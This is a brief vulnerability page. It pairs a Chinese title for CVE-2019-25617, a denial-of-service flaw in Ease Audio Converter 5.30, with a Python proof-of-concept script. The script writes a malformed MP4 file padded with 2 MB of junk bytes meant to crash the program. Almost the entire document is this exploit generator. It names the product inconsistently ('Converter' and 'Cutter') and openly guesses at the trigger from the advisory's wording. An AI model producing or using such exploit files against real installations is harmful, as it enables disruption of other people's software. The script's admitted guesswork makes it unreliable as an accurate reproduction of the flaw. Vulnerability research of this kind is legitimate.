CVE-2019-25617: Ease Audio Converter拒绝服务漏洞

# PoC Generator for CVE-2019-25617 # This script generates a malformed MP4 file with an oversized buffer # to trigger a Denial of Service in Ease Audio Converter 5.30. import struct def generate_poc(filename): # Basic MP4 header (ftyp box) to make it look like a valid container # Size (4 bytes) + Type (4 bytes) header = b'\x00\x00\x00\x20' # Box size: 32 bytes header += b'ftyp' # Box type header += b'isom' # Major brand header += b'\x00\x00\x02\x00' # Minor version header += b'isom' # Compatible brand # Create an oversized buffer (payload) to trigger the crash # The description mentions an 'oversized buffer', so we append junk data. junk_data = b'A' * 0x200000 # 2MB of 'A's with open(filename, 'wb') as f: f.write(header) f.write(junk_data) print(f'[+] Malformed MP4 file generated: {filename}') print(f'[+] Load this file in Ease Audio Cutter to reproduce the vulnerability.') if __name__ == '__main__': generate_poc('exploit_CVE_2019_25617.mp4')